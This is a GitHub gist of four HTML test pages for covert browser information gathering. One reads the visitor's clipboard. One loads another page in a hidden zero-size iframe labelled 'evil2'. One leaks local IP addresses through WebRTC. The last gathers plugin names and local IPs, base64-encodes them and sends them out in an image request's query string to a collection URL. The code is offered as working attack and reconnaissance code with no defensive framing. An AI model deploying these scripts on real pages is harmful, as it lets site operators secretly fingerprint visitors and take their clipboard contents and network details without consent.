Skip to content

Instantly share code, notes, and snippets.

@xenoscr
Last active October 11, 2018 13:04
Show Gist options
  • Select an option

  • Save xenoscr/203ac8e73a4835dc8b648acba8d21022 to your computer and use it in GitHub Desktop.

Select an option

Save xenoscr/203ac8e73a4835dc8b648acba8d21022 to your computer and use it in GitHub Desktop.
Test JS Info gathering
<html>
<head>
<title>Can Clipboard?</title>
</head>
<body>
<script type="text/javascript">
navigator.clipboard.readText().then(clipText => document.writeln(clipText));
//var test = window.clipboardData.getData('Text');
//document.writeln(clipText);
</script>
</body>
</html>
<html>
<head>
<title>iframe example</title>
</head>
<body>
<iframe width="0px" height="0px" name="iframe1" id="evil2" style="visability: hidden; width: 0; height: 0; border: 0; border: none; position: absolute;" src="https://rawgit.com/xenoscr/203ac8e73a4835dc8b648acba8d21022/raw/b48278d6460706f7a229bec2c7ab336fd57d37a2/need-input.html"/>
</body>
</html>
<html>
<head>
<title>get ip</title>
</head>
<body>
<script>
// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () {
var rtc = new RTCPeerConnection({iceServers:[]});
if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed
rtc.createDataChannel('', {reliable:false});
};
rtc.onicecandidate = function (evt) {
// convert the candidate to SDP so we can run it through our general parser
// see https://twitter.com/lancestout/status/525796175425720320 for details
if (evt.candidate) grepSDP("a="+evt.candidate.candidate);
};
rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function (e) { console.warn("offer failed", e); });
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
function updateDisplay(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
document.writeln(displayAddrs.join(" or perhaps ") || "n/a");
}
function grepSDP(sdp) {
var hosts = [];
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13
var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1
addr = parts[4],
type = parts[7];
if (type === 'host') updateDisplay(addr);
} else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7
var parts = line.split(' '),
addr = parts[2];
updateDisplay(addr);
}
});
}
})(); else {
document.writeln("N/A");
}
</script>
</body>
</html>
<html>
<head>
<title>Test information gathering</title>
</head>
<body>
<img id="testimage" src="http://127.0.0.1/test.png" />
<script type="text/javascript">
//<![CDATA[
plugins = "";
if (navigator.plugins) {
var numPlugins = navigator.plugins.length;
for (var i = 0; i < numPlugins; i++) {
var plugin = navigator.plugins[i];
//document.writeln($.browserspy.row("<strong>" + plugin.name + "</strong><br />" + plugin.description + "<br />Filename: " + plugin.filename))
plugins += "~" + plugin.name + "-" + plugin.description + "-" + plugin.filename
}
} else {
//document.writeln($.browserspy.row("No plugins found"));
plugins += "~N/A";
}
var ipAddy = "";
// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () {
var rtc = new RTCPeerConnection({iceServers:[]});
if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed
rtc.createDataChannel('', {reliable:false});
};
rtc.onicecandidate = function (evt) {
// convert the candidate to SDP so we can run it through our general parser
// see https://twitter.com/lancestout/status/525796175425720320 for details
if (evt.candidate) grepSDP("a="+evt.candidate.candidate);
};
rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function (e) { console.warn("offer failed", e); });
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
function updateDisplay(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
plugins += "~" + displayAddrs.join("or") || "n/a";
requestVar = btoa(plugins);
document.getElementById("testimage").src="http://127.0.0.1/test.png?a=" + requestVar
//document.writeln(plugins + "|" + displayAddrs.join(" or perhaps ") || "n/a");
}
function grepSDP(sdp) {
var hosts = [];
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13
var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1
addr = parts[4],
type = parts[7];
if (type === 'host') updateDisplay(addr);
} else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7
var parts = line.split(' '),
addr = parts[2];
updateDisplay(addr);
}
});
}
})(); else {
plugins += "~N/A";
requestVar = btoa(plugins);
document.getElementById("testimage").src="http://127.0.0.1/test.png?a=" + requestVar
//document.writeln(plugins + "|N/A");
}
requestVar = btoa(plugins);
document.getElementById("testimage").src="http://127.0.0.1/test.png?a=" + requestVar
//document.writeln(plugins);
//]]>
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment